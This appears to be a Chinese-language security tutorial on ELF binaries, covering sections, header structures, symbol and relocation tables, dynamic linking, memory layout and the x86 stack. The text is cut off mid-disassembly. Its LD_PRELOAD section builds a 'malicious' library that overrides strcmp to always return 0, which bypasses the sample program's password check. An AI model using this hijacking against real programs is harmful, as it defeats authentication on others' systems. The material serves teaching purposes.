使用 file 命令查看相应的文件格式:

+
$ file elfDemo.o
+elfDemo.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
+
+$ file elfDemo.out
+elfDemo.out: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=50036015393a99344897cbf34099256c3793e172, not stripped
+
+$ file elfDemo_static.out
+elfDemo_static.out: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=276c839c20b4c187e4b486cf96d82a90c40f4dae, not stripped
+
+$ file -L /usr/lib32/libc.so.6
+/usr/lib32/libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped
+
+

于是我们得到了 Linux 可执行文件格式 ELF (Executable Linkable Format)文件的三种类型:

+
    +
  • 可重定位文件(Relocatable file)
  • +
  • 包含了代码和数据,可以和其他目标文件链接生成一个可执行文件或共享目标文件。
  • +
  • elfDemo.o
  • +
  • 可执行文件(Executable File)
  • +
  • 包含了可以直接执行的文件。
  • +
  • elfDemo_static.out
  • +
  • 共享目标文件(Shared Object File)
  • +
  • 包含了用于链接的代码和数据,分两种情况。一种是链接器将其与其他的可重定位文件和共享目标文件链接起来,生产新的目标文件。另一种是动态链接器将多个共享目标文件与可执行文件结合,作为进程映像的一部分。
  • +
  • elfDemo.out
  • +
  • libc-2.25.so
  • +
+

此时他们的结构如图:

+

img

+

可以看到,在这个简化的 ELF 文件中,开头是一个“文件头”,之后分别是代码段、数据段和.bss段。程序源代码编译后,执行语句变成机器指令,保存在.text段;已初始化的全局变量和局部静态变量都保存在.data段;未初始化的全局变量和局部静态变量则放在.bss段。

+

把程序指令和程序数据分开存放有许多好处,从安全的角度讲,当程序被加载后,数据和指令分别被映射到两个虚拟区域。由于数据区域对于进程来说是可读写的,而指令区域对于进程来说是只读的,所以这两个虚存区域的权限可以被分别设置成可读写和只读,可以防止程序的指令被改写和利用。

+

elfDemo.o

+

接下来,我们更深入地探索目标文件,使用 objdump 来查看目标文件的内部结构:

+
$ objdump -h elfDemo.o
+
+elfDemo.o:     file format elf32-i386
+
+Sections:
+Idx Name          Size      VMA       LMA       File off  Algn
+  0 .group        00000008  00000000  00000000  00000034  2**2
+                  CONTENTS, READONLY, GROUP, LINK_ONCE_DISCARD
+  1 .text         00000078  00000000  00000000  0000003c  2**0
+                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
+  2 .data         00000008  00000000  00000000  000000b4  2**2
+                  CONTENTS, ALLOC, LOAD, DATA
+  3 .bss          00000004  00000000  00000000  000000bc  2**2
+                  ALLOC
+  4 .rodata       00000004  00000000  00000000  000000bc  2**0
+                  CONTENTS, ALLOC, LOAD, READONLY, DATA
+  5 .text.__x86.get_pc_thunk.ax 00000004  00000000  00000000  000000c0  2**0
+                  CONTENTS, ALLOC, LOAD, READONLY, CODE
+  6 .comment      00000012  00000000  00000000  000000c4  2**0
+                  CONTENTS, READONLY
+  7 .note.GNU-stack 00000000  00000000  00000000  000000d6  2**0
+                  CONTENTS, READONLY
+  8 .eh_frame     0000007c  00000000  00000000  000000d8  2**2
+                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
+
+

可以看到目标文件中除了最基本的代码段、数据段和 BSS 段以外,还有一些别的段。注意到 .bss 段没有 CONTENTS 属性,表示它实际上并不存在,.bss 段只是为为未初始化的全局变量和局部静态变量预留了位置而已。

+

代码段

+
$ objdump -x -s -d elfDemo.o
+......
+Sections:
+Idx Name          Size      VMA       LMA       File off  Algn
+
+......
+
+  1 .text         00000078  00000000  00000000  0000003c  2**0
+                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
+......
+Contents of section .text:
+ 0000 5589e553 83ec04e8 fcffffff 05010000  U..S............
+ 0010 0083ec08 ff75088d 90000000 005289c3  .....u.......R..
+ 0020 e8fcffff ff83c410 908b5dfc c9c38d4c  ..........]....L
+ 0030 240483e4 f0ff71fc 5589e551 83ec14e8  $.....q.U..Q....
+ 0040 fcffffff 05010000 00c745f4 1e000000  ..........E.....
+ 0050 8b880000 00008b55 f401ca8b 80040000  .......U........
+ 0060 0001d083 ec0c50e8 fcffffff 83c41090  ......P.........
+ 0070 8b4dfcc9 8d61fcc3                    .M...a..
+......
+Disassembly of section .text:
+
+00000000 <func>:
+   0:   55                      push   %ebp
+   1:   89 e5                   mov    %esp,%ebp
+   3:   53                      push   %ebx
+   4:   83 ec 04                sub    $0x4,%esp
+   7:   e8 fc ff ff ff          call   8 <func+0x8>
+                        8: R_386_PC32   __x86.get_pc_thunk.ax
+   c:   05 01 00 00 00          add    $0x1,%eax
+                        d: R_386_GOTPC  _GLOBAL_OFFSET_TABLE_
+  11:   83 ec 08                sub    $0x8,%esp
+  14:   ff 75 08                pushl  0x8(%ebp)
+  17:   8d 90 00 00 00 00       lea    0x0(%eax),%edx
+                        19: R_386_GOTOFF        .rodata
+  1d:   52                      push   %edx
+  1e:   89 c3                   mov    %eax,%ebx
+  20:   e8 fc ff ff ff          call   21 <func+0x21>
+                        21: R_386_PLT32 printf
+  25:   83 c4 10                add    $0x10,%esp
+  28:   90                      nop
+  29:   8b 5d fc                mov    -0x4(%ebp),%ebx
+  2c:   c9                      leave  
+  2d:   c3                      ret
+
+0000002e <main>:
+  2e:   8d 4c 24 04             lea    0x4(%esp),%ecx
+  32:   83 e4 f0                and    $0xfffffff0,%esp
+  35:   ff 71 fc                pushl  -0x4(%ecx)
+  38:   55                      push   %ebp
+  39:   89 e5                   mov    %esp,%ebp
+  3b:   51                      push   %ecx
+  3c:   83 ec 14                sub    $0x14,%esp
+  3f:   e8 fc ff ff ff          call   40 <main+0x12>
+                        40: R_386_PC32  __x86.get_pc_thunk.ax
+  44:   05 01 00 00 00          add    $0x1,%eax
+                        45: R_386_GOTPC _GLOBAL_OFFSET_TABLE_
+  49:   c7 45 f4 1e 00 00 00    movl   $0x1e,-0xc(%ebp)
+  50:   8b 88 00 00 00 00       mov    0x0(%eax),%ecx
+                        52: R_386_GOTOFF        global_init_var
+  56:   8b 55 f4                mov    -0xc(%ebp),%edx
+  59:   01 ca                   add    %ecx,%edx
+  5b:   8b 80 04 00 00 00       mov    0x4(%eax),%eax
+                        5d: R_386_GOTOFF        .data
+  61:   01 d0                   add    %edx,%eax
+  63:   83 ec 0c                sub    $0xc,%esp
+  66:   50                      push   %eax
+  67:   e8 fc ff ff ff          call   68 <main+0x3a>
+                        68: R_386_PC32  func
+  6c:   83 c4 10                add    $0x10,%esp
+  6f:   90                      nop
+  70:   8b 4d fc                mov    -0x4(%ebp),%ecx
+  73:   c9                      leave  
+  74:   8d 61 fc                lea    -0x4(%ecx),%esp
+  77:   c3                      ret
+
+

Contents of section .text.text 的数据的十六进制形式,总共 0x78 个字节,最左边一列是偏移量,中间 4 列是内容,最右边一列是 ASCII 码形式。下面的 Disassembly of section .text 是反汇编结果。

+

数据段和只读数据段

+
......
+Sections:
+Idx Name          Size      VMA       LMA       File off  Algn
+  2 .data         00000008  00000000  00000000  000000b4  2**2
+                  CONTENTS, ALLOC, LOAD, DATA
+  4 .rodata       00000004  00000000  00000000  000000bc  2**0
+                  CONTENTS, ALLOC, LOAD, READONLY, DATA
+......
+Contents of section .data:
+ 0000 0a000000 14000000                    ........
+Contents of section .rodata:
+ 0000 25640a00                             %d..
+.......
+
+

.data 段保存已经初始化了的全局变量和局部静态变量。elfDemo.c 中共有两个这样的变量,global_init_varlocal_static_init_var,每个变量 4 个字节,一共 8 个字节。由于小端序的原因,0a000000 表示 global_init_var 值(10)的十六进制 0x0a14000000 表示 local_static_init_var 值(20)的十六进制 0x14

+

.rodata 段保存只读数据,包括只读变量和字符串常量。elfDemo.c 中调用 printf 的时候,用到了一个字符串变量 %d\n,它是一种只读数据,保存在 .rodata 段中,可以从输出结果看到字符串常量的 ASCII 形式,以 \0 结尾。

+

BSS段

+
Sections:
+Idx Name          Size      VMA       LMA       File off  Algn
+  3 .bss          00000004  00000000  00000000  000000bc  2**2
+                  ALLOC
+
+

.bss 段保存未初始化的全局变量和局部静态变量。

+

ELF 文件结构

+

对象文件参与程序链接(构建程序)和程序执行(运行程序)。ELF 结构几相关信息在 /usr/include/elf.h 文件中。

+

img

+
    +
  • ELF 文件头(ELF Header) 在目标文件格式的最前面,包含了描述整个文件的基本属性。
  • +
  • 程序头表(Program Header Table) 是可选的,它告诉系统怎样创建一个进程映像。可执行文件必须有程序头表,而重定位文件不需要。
  • +
  • 段(Section) 包含了链接视图中大量的目标文件信息。
  • +
  • 段表(Section Header Table) 包含了描述文件中所有段的信息。
  • +
+

32位数据类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称长度对其描述原始类型
Elf32_Addr44无符号程序地址uint32_t
Elf32_Half22无符号短整型uint16_t
Elf32_Off44无符号偏移地址uint32_t
Elf32_Sword44有符号整型int32_t
Elf32_Word44无符号整型uint32_t
+

文件头

+

ELF 文件头必然存在于 ELF 文件的开头,表明这是一个 ELF 文件。定义如下:

+
typedef struct
+{
+  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
+  Elf32_Half    e_type;         /* Object file type */
+  Elf32_Half    e_machine;      /* Architecture */
+  Elf32_Word    e_version;      /* Object file version */
+  Elf32_Addr    e_entry;        /* Entry point virtual address */
+  Elf32_Off e_phoff;        /* Program header table file offset */
+  Elf32_Off e_shoff;        /* Section header table file offset */
+  Elf32_Word    e_flags;        /* Processor-specific flags */
+  Elf32_Half    e_ehsize;       /* ELF header size in bytes */
+  Elf32_Half    e_phentsize;        /* Program header table entry size */
+  Elf32_Half    e_phnum;        /* Program header table entry count */
+  Elf32_Half    e_shentsize;        /* Section header table entry size */
+  Elf32_Half    e_shnum;        /* Section header table entry count */
+  Elf32_Half    e_shstrndx;     /* Section header string table index */
+} Elf32_Ehdr;
+
+typedef struct
+{
+  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
+  Elf64_Half    e_type;         /* Object file type */
+  Elf64_Half    e_machine;      /* Architecture */
+  Elf64_Word    e_version;      /* Object file version */
+  Elf64_Addr    e_entry;        /* Entry point virtual address */
+  Elf64_Off e_phoff;        /* Program header table file offset */
+  Elf64_Off e_shoff;        /* Section header table file offset */
+  Elf64_Word    e_flags;        /* Processor-specific flags */
+  Elf64_Half    e_ehsize;       /* ELF header size in bytes */
+  Elf64_Half    e_phentsize;        /* Program header table entry size */
+  Elf64_Half    e_phnum;        /* Program header table entry count */
+  Elf64_Half    e_shentsize;        /* Section header table entry size */
+  Elf64_Half    e_shnum;        /* Section header table entry count */
+  Elf64_Half    e_shstrndx;     /* Section header string table index */
+} Elf64_Ehdr;
+
+

e_ident 保存着 ELF 的幻数和其他信息,最前面四个字节是幻数,用字符串表示为 \177ELF,其后的字节如果是 32 位则是 ELFCLASS32 (1),如果是 64 位则是 ELFCLASS64 (2),再其后的字节表示端序,小端序为 ELFDATA2LSB (1),大端序为 ELFDATA2LSB (2)。最后一个字节则表示 ELF 的版本。

+

现在我们使用 readelf 命令来查看 elfDome.out 的文件头:

+
$ readelf -h elfDemo.out
+ELF Header:
+  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
+  Class:                             ELF32
+  Data:                              2's complement, little endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              DYN (Shared object file)
+  Machine:                           Intel 80386
+  Version:                           0x1
+  Entry point address:               0x3e0
+  Start of program headers:          52 (bytes into file)
+  Start of section headers:          6288 (bytes into file)
+  Flags:                             0x0
+  Size of this header:               52 (bytes)
+  Size of program headers:           32 (bytes)
+  Number of program headers:         9
+  Size of section headers:           40 (bytes)
+  Number of section headers:         30
+  Section header string table index: 29
+
+

程序头

+

程序头表是由 ELF 头的 e_phoff 指定的偏移量和 e_phentsizee_phnum 共同确定大小的表格组成。e_phentsize 表示表格中程序头的大小,e_phnum 表示表格中程序头的数量。

+

程序头的定义如下:

+
typedef struct
+{
+  Elf32_Word    p_type;         /* Segment type */
+  Elf32_Off p_offset;       /* Segment file offset */
+  Elf32_Addr    p_vaddr;        /* Segment virtual address */
+  Elf32_Addr    p_paddr;        /* Segment physical address */
+  Elf32_Word    p_filesz;       /* Segment size in file */
+  Elf32_Word    p_memsz;        /* Segment size in memory */
+  Elf32_Word    p_flags;        /* Segment flags */
+  Elf32_Word    p_align;        /* Segment alignment */
+} Elf32_Phdr;
+
+typedef struct
+{
+  Elf64_Word    p_type;         /* Segment type */
+  Elf64_Word    p_flags;        /* Segment flags */
+  Elf64_Off p_offset;       /* Segment file offset */
+  Elf64_Addr    p_vaddr;        /* Segment virtual address */
+  Elf64_Addr    p_paddr;        /* Segment physical address */
+  Elf64_Xword   p_filesz;       /* Segment size in file */
+  Elf64_Xword   p_memsz;        /* Segment size in memory */
+  Elf64_Xword   p_align;        /* Segment alignment */
+} Elf64_Phdr;
+
+

使用 readelf 来查看程序头:

+
$ readelf -l elfDemo.out
+
+Elf file type is DYN (Shared object file)
+Entry point 0x3e0
+There are 9 program headers, starting at offset 52
+
+Program Headers:
+  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
+  PHDR           0x000034 0x00000034 0x00000034 0x00120 0x00120 R E 0x4
+  INTERP         0x000154 0x00000154 0x00000154 0x00013 0x00013 R   0x1
+      [Requesting program interpreter: /lib/ld-linux.so.2]
+  LOAD           0x000000 0x00000000 0x00000000 0x00780 0x00780 R E 0x1000
+  LOAD           0x000ef4 0x00001ef4 0x00001ef4 0x00130 0x0013c RW  0x1000
+  DYNAMIC        0x000efc 0x00001efc 0x00001efc 0x000f0 0x000f0 RW  0x4
+  NOTE           0x000168 0x00000168 0x00000168 0x00044 0x00044 R   0x4
+  GNU_EH_FRAME   0x000624 0x00000624 0x00000624 0x00044 0x00044 R   0x4
+  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
+  GNU_RELRO      0x000ef4 0x00001ef4 0x00001ef4 0x0010c 0x0010c R   0x1
+
+ Section to Segment mapping:
+  Segment Sections...
+   00
+   01     .interp
+   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
+   03     .init_array .fini_array .dynamic .got .got.plt .data .bss
+   04     .dynamic
+   05     .note.ABI-tag .note.gnu.build-id
+   06     .eh_frame_hdr
+   07
+   08     .init_array .fini_array .dynamic .got
+
+

+

段表(Section Header Table)是一个以 Elf32_Shdr 结构体为元素的数组,每个结构体对应一个段,它描述了各个段的信息。ELF 文件头的 e_shoff 成员给出了段表在 ELF 中的偏移,e_shnum 成员给出了段描述符的数量,e_shentsize 给出了每个段描述符的大小。

+
typedef struct
+{
+  Elf32_Word    sh_name;        /* Section name (string tbl index) */
+  Elf32_Word    sh_type;        /* Section type */
+  Elf32_Word    sh_flags;       /* Section flags */
+  Elf32_Addr    sh_addr;        /* Section virtual addr at execution */
+  Elf32_Off sh_offset;      /* Section file offset */
+  Elf32_Word    sh_size;        /* Section size in bytes */
+  Elf32_Word    sh_link;        /* Link to another section */
+  Elf32_Word    sh_info;        /* Additional section information */
+  Elf32_Word    sh_addralign;       /* Section alignment */
+  Elf32_Word    sh_entsize;     /* Entry size if section holds table */
+} Elf32_Shdr;
+
+typedef struct
+{
+  Elf64_Word    sh_name;        /* Section name (string tbl index) */
+  Elf64_Word    sh_type;        /* Section type */
+  Elf64_Xword   sh_flags;       /* Section flags */
+  Elf64_Addr    sh_addr;        /* Section virtual addr at execution */
+  Elf64_Off sh_offset;      /* Section file offset */
+  Elf64_Xword   sh_size;        /* Section size in bytes */
+  Elf64_Word    sh_link;        /* Link to another section */
+  Elf64_Word    sh_info;        /* Additional section information */
+  Elf64_Xword   sh_addralign;       /* Section alignment */
+  Elf64_Xword   sh_entsize;     /* Entry size if section holds table */
+} Elf64_Shdr;
+
+

使用 readelf 命令查看目标文件中完整的段:

+
$ readelf -S elfDemo.o
+There are 15 section headers, starting at offset 0x41c:
+
+Section Headers:
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
+  [ 1] .group            GROUP           00000000 000034 000008 04     12  16  4
+  [ 2] .text             PROGBITS        00000000 00003c 000078 00  AX  0   0  1
+  [ 3] .rel.text         REL             00000000 000338 000048 08   I 12   2  4
+  [ 4] .data             PROGBITS        00000000 0000b4 000008 00  WA  0   0  4
+  [ 5] .bss              NOBITS          00000000 0000bc 000004 00  WA  0   0  4
+  [ 6] .rodata           PROGBITS        00000000 0000bc 000004 00   A  0   0  1
+  [ 7] .text.__x86.get_p PROGBITS        00000000 0000c0 000004 00 AXG  0   0  1
+  [ 8] .comment          PROGBITS        00000000 0000c4 000012 01  MS  0   0  1
+  [ 9] .note.GNU-stack   PROGBITS        00000000 0000d6 000000 00      0   0  1
+  [10] .eh_frame         PROGBITS        00000000 0000d8 00007c 00   A  0   0  4
+  [11] .rel.eh_frame     REL             00000000 000380 000018 08   I 12  10  4
+  [12] .symtab           SYMTAB          00000000 000154 000140 10     13  13  4
+  [13] .strtab           STRTAB          00000000 000294 0000a2 00      0   0  1
+  [14] .shstrtab         STRTAB          00000000 000398 000082 00      0   0  1
+Key to Flags:
+  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
+  L (link order), O (extra OS processing required), G (group), T (TLS),
+  C (compressed), x (unknown), o (OS specific), E (exclude),
+  p (processor specific)
+
+

注意,ELF 段表的第一个元素是被保留的,类型为 NULL。

+

字符串表

+

字符串表以段的形式存在,包含了以 null 结尾的字符序列。对象文件使用这些字符串来表示符号和段名称,引用字符串时只需给出在表中的偏移即可。字符串表的第一个字符和最后一个字符为空字符,以确保所有字符串的开始和终止。通常段名为 .strtab 的字符串表是 字符串表(Strings Table),段名为 .shstrtab 的是段表字符串表(Section Header String Table)。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
偏移+0+1+2+3+4+5+6+7+8+9
+0\0hello\0wor
+10ld\0hellowo
+20rld\0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
偏移字符串
0空字符串
1hello
7world
13helloworld
18world
+

可以使用 readelf 读取这两个表:

+
$ readelf -x .strtab elfDemo.o
+
+Hex dump of section '.strtab':
+  0x00000000 00656c66 44656d6f 2e63006c 6f63616c .elfDemo.c.local
+  0x00000010 5f737461 7469635f 696e6974 5f766172 _static_init_var
+  0x00000020 2e323139 35006c6f 63616c5f 73746174 .2195.local_stat
+  0x00000030 69635f75 6e696e69 745f7661 722e3231 ic_uninit_var.21
+  0x00000040 39360067 6c6f6261 6c5f696e 69745f76 96.global_init_v
+  0x00000050 61720067 6c6f6261 6c5f756e 696e6974 ar.global_uninit
+  0x00000060 5f766172 0066756e 63005f5f 7838362e _var.func.__x86.
+  0x00000070 6765745f 70635f74 68756e6b 2e617800 get_pc_thunk.ax.
+  0x00000080 5f474c4f 42414c5f 4f464653 45545f54 _GLOBAL_OFFSET_T
+  0x00000090 41424c45 5f007072 696e7466 006d6169 ABLE_.printf.mai
+  0x000000a0 6e00
+
+$ readelf -x .shstrtab elfDemo.o
+
+Hex dump of section '.shstrtab':
+  0x00000000 002e7379 6d746162 002e7374 72746162 ..symtab..strtab
+  0x00000010 002e7368 73747274 6162002e 72656c2e ..shstrtab..rel.
+  0x00000020 74657874 002e6461 7461002e 62737300 text..data..bss.
+  0x00000030 2e726f64 61746100 2e746578 742e5f5f .rodata..text.__
+  0x00000040 7838362e 6765745f 70635f74 68756e6b x86.get_pc_thunk
+  0x00000050 2e617800 2e636f6d 6d656e74 002e6e6f .ax..comment..no
+  0x00000060 74652e47 4e552d73 7461636b 002e7265 te.GNU-stack..re
+  0x00000070 6c2e6568 5f667261 6d65002e 67726f75 l.eh_frame..grou
+  0x00000080 7000
+
+

符号表

+

目标文件的符号表保存了定位和重定位程序的符号定义和引用所需的信息。符号表索引是这个数组的下标。索引0指向表中的第一个条目,作为未定义的符号索引。

+
typedef struct
+{
+  Elf32_Word    st_name;        /* Symbol name (string tbl index) */
+  Elf32_Addr    st_value;       /* Symbol value */
+  Elf32_Word    st_size;        /* Symbol size */
+  unsigned char st_info;        /* Symbol type and binding */
+  unsigned char st_other;       /* Symbol visibility */
+  Elf32_Section st_shndx;       /* Section index */
+} Elf32_Sym;
+
+typedef struct
+{
+  Elf64_Word    st_name;        /* Symbol name (string tbl index) */
+  unsigned char st_info;        /* Symbol type and binding */
+  unsigned char st_other;       /* Symbol visibility */
+  Elf64_Section st_shndx;       /* Section index */
+  Elf64_Addr    st_value;       /* Symbol value */
+  Elf64_Xword   st_size;        /* Symbol size */
+} Elf64_Sym;
+
+

查看符号表:

+
$ readelf -s elfDemo.o
+
+Symbol table '.symtab' contains 20 entries:
+   Num:    Value  Size Type    Bind   Vis      Ndx Name
+     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
+     1: 00000000     0 FILE    LOCAL  DEFAULT  ABS elfDemo.c
+     2: 00000000     0 SECTION LOCAL  DEFAULT    2
+     3: 00000000     0 SECTION LOCAL  DEFAULT    4
+     4: 00000000     0 SECTION LOCAL  DEFAULT    5
+     5: 00000000     0 SECTION LOCAL  DEFAULT    6
+     6: 00000004     4 OBJECT  LOCAL  DEFAULT    4 local_static_init_var.219
+     7: 00000000     4 OBJECT  LOCAL  DEFAULT    5 local_static_uninit_var.2
+     8: 00000000     0 SECTION LOCAL  DEFAULT    7
+     9: 00000000     0 SECTION LOCAL  DEFAULT    9
+    10: 00000000     0 SECTION LOCAL  DEFAULT   10
+    11: 00000000     0 SECTION LOCAL  DEFAULT    8
+    12: 00000000     0 SECTION LOCAL  DEFAULT    1
+    13: 00000000     4 OBJECT  GLOBAL DEFAULT    4 global_init_var
+    14: 00000004     4 OBJECT  GLOBAL DEFAULT  COM global_uninit_var
+    15: 00000000    46 FUNC    GLOBAL DEFAULT    2 func
+    16: 00000000     0 FUNC    GLOBAL HIDDEN     7 __x86.get_pc_thunk.ax
+    17: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND _GLOBAL_OFFSET_TABLE_
+    18: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND printf
+    19: 0000002e    74 FUNC    GLOBAL DEFAULT    2 main
+
+

重定位

+

重定位是连接符号定义与符号引用的过程。可重定位文件必须具有描述如何修改段内容的信息,从而运行可执行文件和共享对象文件保存进程程序映像的正确信息。

+
typedef struct
+{
+  Elf32_Addr    r_offset;       /* Address */
+  Elf32_Word    r_info;         /* Relocation type and symbol index */
+} Elf32_Rel;
+
+typedef struct
+{
+  Elf64_Addr    r_offset;       /* Address */
+  Elf64_Xword   r_info;         /* Relocation type and symbol index */
+  Elf64_Sxword  r_addend;       /* Addend */
+} Elf64_Rela;
+
+

查看重定位表:

+
$ readelf -r elfDemo.o
+
+Relocation section '.rel.text' at offset 0x338 contains 9 entries:
+ Offset     Info    Type            Sym.Value  Sym. Name
+00000008  00001002 R_386_PC32        00000000   __x86.get_pc_thunk.ax
+0000000d  0000110a R_386_GOTPC       00000000   _GLOBAL_OFFSET_TABLE_
+00000019  00000509 R_386_GOTOFF      00000000   .rodata
+00000021  00001204 R_386_PLT32       00000000   printf
+00000040  00001002 R_386_PC32        00000000   __x86.get_pc_thunk.ax
+00000045  0000110a R_386_GOTPC       00000000   _GLOBAL_OFFSET_TABLE_
+00000052  00000d09 R_386_GOTOFF      00000000   global_init_var
+0000005d  00000309 R_386_GOTOFF      00000000   .data
+00000068  00000f02 R_386_PC32        00000000   func
+
+Relocation section '.rel.eh_frame' at offset 0x380 contains 3 entries:
+ Offset     Info    Type            Sym.Value  Sym. Name
+00000020  00000202 R_386_PC32        00000000   .text
+00000044  00000202 R_386_PC32        00000000   .text
+00000070  00000802 R_386_PC32        00000000   .text.__x86.get_pc_thu
+
+

动态链接

+ +

动态链接相关的环境变量

+

LD_PRELOAD

+

LD_PRELOAD 环境变量可以定义在程序运行前优先加载的动态链接库。这使得我们可以有选择性地加载不同动态链接库中的相同函数,即通过设置该变量,在主程序和其动态链接库中间加载别的动态链接库,甚至覆盖原本的库。这就有可能出现劫持程序执行的安全问题。

+
#include<stdio.h>
+#include<string.h>
+void main() {
+    char passwd[] = "password";
+    char str[128];
+
+    scanf("%s", &str);
+    if (!strcmp(passwd, str)) {
+        printf("correct\n");
+        return;
+    }
+    printf("invalid\n");
+}
+
+

下面我们构造一个恶意的动态链接库来重载 strcmp() 函数,编译为动态链接库,并设置 LD_PRELOAD 环境变量:

+
$ cat hack.c
+#include<stdio.h>
+#include<stdio.h>
+int strcmp(const char *s1, const char *s2) {
+    printf("hacked\n");
+    return 0;
+}
+$ gcc -shared -o hack.so hack.c
+$ gcc ldpreload.c
+$ ./a.out
+asdf
+invalid
+$ LD_PRELOAD="./hack.so" ./a.out
+asdf
+hacked
+correct
+
+

LD_SHOW_AUXV

+

AUXV 是内核在执行 ELF 文件时传递给用户空间的信息,设置该环境变量可以显示这些信息。如:

+
$ LD_SHOW_AUXV=1 ls
+AT_SYSINFO_EHDR: 0x7fff41fbc000
+AT_HWCAP:        bfebfbff
+AT_PAGESZ:       4096
+AT_CLKTCK:       100
+AT_PHDR:         0x55f1f623e040
+AT_PHENT:        56
+AT_PHNUM:        9
+AT_BASE:         0x7f277e1ec000
+AT_FLAGS:        0x0
+AT_ENTRY:        0x55f1f6243060
+AT_UID:          1000
+AT_EUID:         1000
+AT_GID:          1000
+AT_EGID:         1000
+AT_SECURE:       0
+AT_RANDOM:       0x7fff41effbb9
+AT_EXECFN:       /usr/bin/ls
+AT_PLATFORM:     x86_64
+
+

内存管理

+ +

什么是内存

+

为了使用户程序在运行时具有一个私有的地址空间、有自己的 CPU,就像独占了整个计算机一样,现代操作系统提出了虚拟内存的概念。

+

虚拟内存的主要作用主要为三个:

+
    +
  • 它将内存看做一个存储在磁盘上的地址空间的高速缓存,在内存中只保存活动区域,并根据需要在磁盘和内存之间来回传送数据。
  • +
  • 它为每个进程提供了一致的地址空间。
  • +
  • 它保护了每个进程的地址空间不被其他进程破坏。
  • +
+

现代操作系统采用虚拟寻址的方式,CPU 通过生成一个虚拟地址(Virtual Address(VA))来访问内存,然后这个虚拟地址通过内存管理单元(Memory Management Unit(MMU))转换成物理地址之后被送到存储器。

+

img

+

前面我们已经看到可执行文件被映射到了内存中,Linux 为每个进程维持了一个单独的虚拟地址空间,包括了 .text、.data、.bss、栈(stack)、堆(heap),共享库等内容。

+

32 位系统有 4GB 的地址空间,其中 0x08048000~0xbfffffff 是用户空间(3GB),0xc0000000~0xffffffff 是内核空间(1GB)。

+

img

+

栈与调用约定

+

+

栈是一个先入后出(First In Last Out(FIFO))的容器。用于存放函数返回地址及参数、临时变量和有关上下文的内容。程序在调用函数时,操作系统会自动通过压栈和弹栈完成保存函数现场等操作,不需要程序员手动干预。

+

栈由高地址向低地址增长,栈保存了一个函数调用所需要的维护信息,称为堆栈帧(Stack Frame)在 x86 体系中,寄存器 ebp 指向堆栈帧的底部,esp 指向堆栈帧的顶部。压栈时栈顶地址减小,弹栈时栈顶地址增大。

+
    +
  • PUSH:用于压栈。将 esp 减 4,然后将其唯一操作数的内容写入到 esp 指向的内存地址
  • +
  • POP :用于弹栈。从 esp 指向的内存地址获得数据,将其加载到指令操作数(通常是一个寄存器)中,然后将 esp 加 4。
  • +
+

x86 体系下函数的调用总是这样的:

+
    +
  • 把所有或一部分参数压入栈中,如果有其他参数没有入栈,那么使用某些特定的寄存器传递。
  • +
  • 把当前指令的下一条指令的地址压入栈中。
  • +
  • 跳转到函数体执行。
  • +
+

其中第 2 步和第 3 步由指令 call 一起执行。跳转到函数体之后即开始执行函数,而 x86 函数体的开头是这样的:

+
    +
  • push ebp:把ebp压入栈中(old ebp)。
  • +
  • mov ebp, esp:ebp=esp(这时ebp指向栈顶,而此时栈顶就是old ebp)
  • +
  • [可选] sub esp, XXX:在栈上分配 XXX 字节的临时空间。
  • +
  • [可选] push XXX:保存名为 XXX 的寄存器。
  • +
+

把ebp压入栈中,是为了在函数返回时恢复以前的ebp值,而压入寄存器的值,是为了保持某些寄存器在函数调用前后保存不变。函数返回时的操作与开头正好相反:

+
    +
  • [可选] pop XXX:恢复保存的寄存器。
  • +
  • mov esp, ebp:恢复esp同时回收局部变量空间。
  • +
  • pop ebp:恢复保存的ebp的值。
  • +
  • ret:从栈中取得返回地址,并跳转到该位置。
  • +
+

栈帧对应的汇编代码:

+
PUSH ebp        ; 函数开始(使用ebp前先把已有值保存到栈中)
+MOV ebp, esp    ; 保存当前esp到ebp中
+
+...             ; 函数体
+                ; 无论esp值如何变化,ebp都保持不变,可以安全访问函数的局部变量、参数
+MOV esp, ebp    ; 将函数的其实地址返回到esp中
+POP ebp         ; 函数返回前弹出保存在栈中的ebp值
+RET             ; 函数返回并跳转
+
+

函数调用后栈的标准布局如下图:

+

img

+

我们来看一个例子:源码

+
#include<stdio.h>
+int add(int a, int b) {
+    int x = a, y = b;
+    return (x + y);
+}
+
+int main() {
+    int a = 1, b = 2;
+    printf("%d\n", add(a, b));
+    return 0;
+}
+
+

使用 gdb 查看对应的汇编代码,这里我们给出了详细的注释:

+
gdb-peda$ disassemble main
+Dump of assembler code for function main:
+   0x00000563 <+0>: lea    ecx,[esp+0x4]                      ;将 esp+0x4 的地址传给 ecx
